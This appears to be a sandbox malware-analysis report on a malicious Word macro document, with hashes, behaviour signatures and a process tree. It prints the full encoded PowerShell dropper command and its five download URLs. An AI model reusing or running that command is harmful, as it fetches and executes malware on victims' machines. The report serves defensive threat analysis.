Analysis

  • max time kernel
    55s
  • max time network
    38s
  • platform
    windows7_x64
  • resource
    win7-20241010-en
  • resource tags

    arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:08

General

  • Target

    88c21aca9eea505566e48cc3a3499e64a59388a72344fba266a368a48f709379.doc

  • Size

    213KB

  • MD5

    9b96db7be7f7bb48a86cc089ff54f78f

  • SHA1

    2777c17ed6883b4a35591cc085179cf23871f91f

  • SHA256

    88c21aca9eea505566e48cc3a3499e64a59388a72344fba266a368a48f709379

  • SHA512

    b5488c94a2ce9269ed8d90c63fd915eb3529fe18bf91fe3acef715967f726cb7efcb701ce958c850b612bb018fad8e73ff99cf80c1bec37428f29c3fd4017d19

  • SSDEEP

    6144:112k4CtGiL3HJk9ZD7blUwDtWvs+ZIFnL:11TQitkv7bOGnL

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://diwafashions.com/wp-admin/mqau6/

exe.dropper

http://designers.hotcom-web.com/ubkskw29clek/qnpm1p/

exe.dropper

http://dixartcontractors.com/cgi-bin/nnuv/

exe.dropper

http://diaspotv.info/wordpress/G/

exe.dropper

http://easyvisaoverseas.com/cgi-bin/v/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\88c21aca9eea505566e48cc3a3499e64a59388a72344fba266a368a48f709379.doc"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2536
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2748
    • C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exe
      Powershell -w hidden -en JABWAGgAZAByAGkAZwBwAHQAeQA9ACcARwByAG4AcgBsAHYAagBnAHEAdwBpAGUAbAAnADsAJABRAGgAeQBtAGQAZAB0AHAAdQAgAD0AIAAnADgAOAAyACcAOwAkAFEAeQBmAHIAZgBhAHgAcABzAHAAeQA9ACcAQgBuAGIAbwByAGEAZwB6AGwAcgAnADsAJABLAGEAdABxAGgAcwByAGcAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFEAaAB5AG0AZABkAHQAcAB1ACsAJwAuAGUAeABlACcAOwAkAE8AYQBqAG4AZAByAHUAbAByAD0AJwBTAHoAdABnAHUAeAB6AHcAdwBrAHUAbwAnADsAJABGAHUAegBqAGQAcwBnAHYAZQA9ACYAKAAnAG4AJwArACcAZQB3ACcAKwAnAC0AbwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBFAFQALgBXAGUAYgBDAGwAaQBFAE4AVAA7ACQAVgB4AHkAegB5AHYAeQBzAGYAbQA9ACcAaAB0AHQAcAA6AC8ALwBkAGkAdwBhAGYAYQBzAGgAaQBvAG4AcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AbQBxAGEAdQA2AC8AKgBoAHQAdABwADoALwAvAGQAZQBzAGkAZwBuAGUAcgBzAC4AaABvAHQAYwBvAG0ALQB3AGUAYgAuAGMAbwBtAC8AdQBiAGsAcwBrAHcAMgA5AGMAbABlAGsALwBxAG4AcABtADEAcAAvACoAaAB0AHQAcAA6AC8ALwBkAGkAeABhAHIAdABjAG8AbgB0AHIAYQBjAHQAbwByAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwBuAG4AdQB2AC8AKgBoAHQAdABwADoALwAvAGQAaQBhAHMAcABvAHQAdgAuAGkAbgBmAG8ALwB3AG8AcgBkAHAAcgBlAHMAcwAvAEcALwAqAGgAdAB0AHAAOgAvAC8AZQBhAHMAeQB2AGkAcwBhAG8AdgBlAHIAcwBlAGEAcwAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvAHYALwAnAC4AIgBzAFAAbABgAEkAVAAiACgAJwAqACcAKQA7ACQAUAB1AHcAcQBvAGYAZwBoAGwAPQAnAE4AYgBwAHgAZABuAHUAZAAnADsAZgBvAHIAZQBhAGMAaAAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAgAGkAbgAgACQAVgB4AHkAegB5AHYAeQBzAGYAbQApAHsAdAByAHkAewAkAEYAdQB6AGoAZABzAGcAdgBlAC4AIgBkAG8AdwBOAEwAbwBhAGQAYABGAGAASQBsAGUAIgAoACQASABkAGkAawBjAGUAdgBiAHUAYwB6AGgAYQAsACAAJABLAGEAdABxAGgAcwByAGcAKQA7ACQAUAB5AHUAbQBiAG0AdgBiAHYAdAA9ACcASABuAHgAeQB2AGMAcwBuACcAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQALQBJAHQAZQAnACsAJwBtACcAKQAgACQASwBhAHQAcQBoAHMAcgBnACkALgAiAGwAZQBuAGAAZwBUAGgAIgAgAC0AZwBlACAAMgA4ADQAMQAxACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgAiAHMAVABhAGAAUgBUACIAKAAkAEsAYQB0AHEAaABzAHIAZwApADsAJABHAGcAdwBqAHkAcwB4AHoAPQAnAFgAYQB2AGMAZABtAHMAbABnAHAAeAAnADsAYgByAGUAYQBrADsAJABVAGIAYQBmAHIAcwBrAGYAeQBiAD0AJwBHAGYAYwB4AGkAeQB1AGEAbQBqAG4AJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgBwAGEAYwBlAHgAZQByAHUAYgBpAHgAbgA9ACcAQQBrAHoAeQB5AG8AeABoAHAAJwA=
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2828

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\9E37C938.wmf

      Filesize

      444B

      MD5

      bf7cffa4e6e5889b6a3aef164d48aec5

      SHA1

      976c37305fd453e77a27fc392ba3979382dbff43

      SHA256

      18e2ca082a8ff9f184a3993dfe54bb42b34a2a402facc899841aaeb3ebd8fa49

      SHA512

      bf00aaaa59d1ac3622abebe3acda21f29440e5aef494ae4035f6cd129c97a24d251b91975fa17ccac39ef463ed84d32a0b5cf7ab3cca49213cb802935b919627

    • memory/2536-22-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2536-5-0x00000000057E0000-0x00000000058E0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-19-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-23-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-14-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2536-18-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-17-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-0-0x000000002FFA1000-0x000000002FFA2000-memory.dmp

      Filesize

      4KB

    • memory/2536-38-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-2-0x000000007330D000-0x0000000073318000-memory.dmp

      Filesize

      44KB

    • memory/2536-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2536-25-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-21-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-37-0x00000000002F0000-0x00000000003F0000-memory.dmp

      Filesize

      1024KB

    • memory/2536-35-0x000000007330D000-0x0000000073318000-memory.dmp

      Filesize

      44KB

    • memory/2536-36-0x0000000005A00000-0x0000000005B00000-memory.dmp

      Filesize

      1024KB

    • memory/2828-32-0x00000000023A0000-0x00000000023A8000-memory.dmp

      Filesize

      32KB

    • memory/2828-31-0x000000001B2A0000-0x000000001B582000-memory.dmp

      Filesize

      2.9MB